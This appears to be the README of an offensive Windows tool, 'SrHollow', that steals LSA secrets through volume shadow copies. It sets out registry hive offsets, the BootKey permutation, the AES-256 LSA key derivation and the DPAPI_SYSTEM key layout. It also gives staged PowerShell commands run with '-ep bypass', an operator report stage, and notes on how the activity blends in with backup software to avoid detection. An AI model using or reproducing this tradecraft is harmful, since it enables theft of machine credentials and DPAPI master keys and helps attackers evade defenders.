LSA 机密提取,复用已有的 VSS 卷影副本 + 内联 regf 解析器 + 通过 bcrypt.dll 进行 AES-256 LSA 解密。
\GLOBAL??,通过 NtOpenDirectoryObject + NtQueryDirectoryObject。选取编号最大的 HarddiskVolumeShadowCopyN。SrClient.dll 调用 SRSetRestorePointW(BEGIN_SYSTEM_CHANGE, DEVICE_DRIVER_INSTALL)。SeBackupPrivilege(AdjustTokenPrivileges)。CreateFileW("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\config\{SECURITY,SYSTEM}", FILE_FLAG_BACKUP_SEMANTICS) 并读取到 byte[]。regf 遍历器解析注册表配置单元:基础块、单元格类型 nk/vk/lf/lh/li/ri/db/sk。KeyNode 布局,标志位 @0x02,子键列表 @0x1C,值列表 @0x28,安全键 @0x2C,类偏移 @0x30,名称长度 u16 @0x48,类长度 u16 @0x4A(这是第一遍时的 bug——微软自己的文档在这里含糊不清),名称 @0x4C。ControlSet00N\Control\Lsa\{JD, Skew1, GBG, Data} 的 Class UTF-16 十六进制 → 16 个原始字节 → 使用 [8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7] 进行置换。Policy\PolEKList\(default)(172 字节):salt = bytes[0x1C..0x3C];tmpKey = SHA-256(BootKey || salt * 1000);pt = AES-256-CBC-decrypt(bytes[0x3C..], tmpKey, IV=0);LSA 密钥 = pt[68..100]。Policy\Secrets\<name>\CurrVal\(default) 下:布局相同,使用 LSA 密钥而非 BootKey 进行盐值拉伸。DPAPI_SYSTEM 主体:bytes[4..24] = MachineKey,bytes[24..44] = UserKey。这些密钥可解密主机上所有 SYSTEM 作用域的 DPAPI 主密钥。SrHollow/
├── README.md <- 你在这里
├── src/
│ └── SrHollow.cs <- 内联 regf 解析器 + LSA AES 加密(约 350 行代码,单文件)
└── stages/
├── Stage1-Recon.ps1 <- 只读卷影枚举
├── Stage1b-ReadShadowHives.ps1 <- 自动检测 / 自动创建卷影 + 读取配置单元
├── Stage2-Decrypt.ps1 <- BootKey + LSA 密钥 + 所有机密
└── Stage3-Report.ps1 <- 带 OPSEC 足迹的格式化操作员报告
src/SrHollow.cs 除 System.Security.Cryptography(其本身代理到 bcrypt.dll)外零依赖。它可以通过 Add-Type 或 csc.exe 直接编译。
提升权限的 PowerShell
# 1. 只读侦察,查看已存在哪些卷影
powershell.exe -ep bypass -File .\stages\Stage1-Recon.ps1
# 2. 从最新的现有卷影中提取 SECURITY + SYSTEM
# (如果不存在则通过 SRSetRestorePointW 创建一个)
powershell.exe -ep bypass -File .\stages\Stage1b-ReadShadowHives.ps1
# 3. 派生 BootKey + LSA 密钥 + 解密所有机密
powershell.exe -ep bypass -File .\stages\Stage2-Decrypt.ps1
# 4. (可选)格式化操作员报告
powershell.exe -ep bypass -File .\stages\Stage3-Report.ps1
要求:本地管理员权限(用于 SeBackupPrivilege),Volume Shadow Copy 服务正在运行或可启动(Windows 10/11 默认如此)。
当卷影已存在时留下的可归因信号:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\... 的 CreateFileWSeBackupPrivilege 的 AdjustTokenPrivilegesbcrypt.dll 的标准 SHA-256 + AES-CBC(用户态,无异常)这与大多数合法备份代理的文件打开特征相同。